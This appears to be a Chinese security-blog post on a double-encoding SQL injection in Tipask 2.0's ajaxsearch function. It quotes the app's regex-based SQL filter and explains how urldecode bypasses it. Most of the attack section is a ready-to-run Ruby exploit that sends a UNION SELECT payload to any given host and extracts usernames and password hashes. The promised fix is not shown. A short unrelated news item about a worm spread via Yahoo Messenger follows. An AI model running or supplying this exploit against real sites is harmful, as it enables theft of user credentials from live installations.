tipask问答系统2.0ajaxsearch二次编码注入漏洞及修复

作者: 云计算机网 分类: 云安全 发布时间: 2015-03-03 18:58

Tipask问答系统是一款开放源码的PHP仿百度知道程序。以国人的使用习惯为设计理念,采用MVC构架,系统具有速度快,SEO友好,界面操作简洁明快等特点。

但是Tipask中存在二次编码问题,所以导致绕过系统过滤造成注入。

在程序入口/model/tipask.class.php init_request()中:


$this->get = taddslashes($this-> get, 1); $this-> post = taddslashes(array_merge($_GET, $_POST)); checkattack($this-> post, 'post' ); checkattack($this-> get, 'get' );

对get和post的参数进行了的addslashes,经过了checkattack检查:


functioncheckattack($reqarr, $reqtype= 'post') {     $filtertable = array(          'get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' ,          'post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' ,          'cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)'     );      foreach ($reqarr as $reqkey => $reqvalue) {          if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1) {              print('Illegal operation!' );              exit(-1);         }     } }
这个检查主要针对SQL注入,发现匹配的规则就退出现在看漏洞处/control/question.php onajaxsearch函数:
/* 提问自动搜索已经解决的问题 */      function onajaxsearch () {         $title = urldecode($this-> get[2]);         $questionlist = $_ENV[ 'question']->search_title($title, 2, 1, 0, 5);         include template('ajaxsearch' );     }
对get的第二个参数urldecode后直接传入SQL语句,绕过了前面的过滤和检查,导致SQL注入。
require "net/http"require "uri"  def urlencode(exp)      str = "";      exp.each_char { |c|           str << sprintf("%%%x", c.ord)      }      return str end  def request(method, url)      if method.eql?("get")           uri = URI.parse(url)           http = Net::HTTP.new(uri.host, uri.port)           response = http.request(Net::HTTP::Get.new(uri.request_uri))           return response      endend  doc =<<HERE ------------------------------------------------------- Tipask 2.0 Inejction Exploit Author:ztz Blog:http://ztz.fuzzexp.org/ -------------------------------------------------------   HERE   usage =<<HERE Usage:           ruby #{$0} host port path example:      ruby #{$0} help.tipask.com 80 / HERE   puts doc if ARGV.length < 3      puts usage else     $host = ARGV[0]      $port = ARGV[1]      $path = ARGV[2]        puts "[*]send request..."     url = "http://#{$host}:#{$port}#{$path}?question/ajaxsearch/"     exp = urlencode("' UNION SELECT 1,2,3,4,5,6,7,8,concat(username,char(0x3d),password),10,11,12,13,14,15,16,17,18,19,20,21 from ask_user#")      response = request("get", url<<exp)      result = response.body.scan(/\w+=\w{32}/)      puts result end 
  • 【赛迪网-IT技术讯】近日,瑞星公司截获一批蠕虫病毒Worm.Win32.Zaflen,该病毒主要通过Yahoo Messenger!、雅虎邮箱以及U盘等方式进行传播,如果用户试图手工编辑被病毒破坏的批处理文件,则病毒会强行关机。

    此类病毒使用word文件的图标,引诱用户点击获得运行。

    由于是从境外流入的,所以病毒通过国外用户经常使用的Yahoo Messenger!、雅虎邮箱进行传播扩散。

    用户不小心被感染后,病毒会关闭一些常见的国外杀毒软件,之后在系统中进行复制感染。

    病毒会将bat、scr、com 等3种类型文件的后缀名隐藏(比如com文件看上去是图片),使用户极容易点击运行一些系统文件,造成系统不稳定。

    病毒为了达到自动运行的目的,对系统进行了大肆篡改,严重地影响了用户的日常使用。

    尤其是对批处理的编辑更改成自动关机,使得用户当前执行的程序未能正常关闭,一些重要的资料未能保存,甚至有可能造成软件的损坏。

    上图为三种文件被病毒伪装后的样子

    据安全专家介绍,通过近期“云安全”系统的严密监测,发现境外病毒不断逃窜至我国,虽然该病毒往往不以经济利益为目的,但是严重影响用户电脑的正常工作。

    所幸的是,由于该病毒其编写环境和适用场景与国内用户日常使用习惯不尽相同,故而短期内不会造成大规模的扩散。

    提醒广大用户应及时更新电脑上安装的杀毒软件,定期进行全盘扫描,避免成为病毒受害者。

    (责任编辑:admin)

  • 相关推荐:

  • 破坏系统恶意关机 境外
  • 假冒杀毒软件在MacOSX系统
  • 安全杂谈:看看MAC系统病
  • 新病毒再度威胁BIOS 抢
  • Android系统新木马截取网
  • Win7系统下利用手机无线
  • 全面解析WinXP系统无线网
  • Win7系统自建无线网络热
  • 基于NFC的无线通信系统电
  • 有线无线一体化网络设计
  • 网站内容禁止违规转载,转载授权联系中国云计算网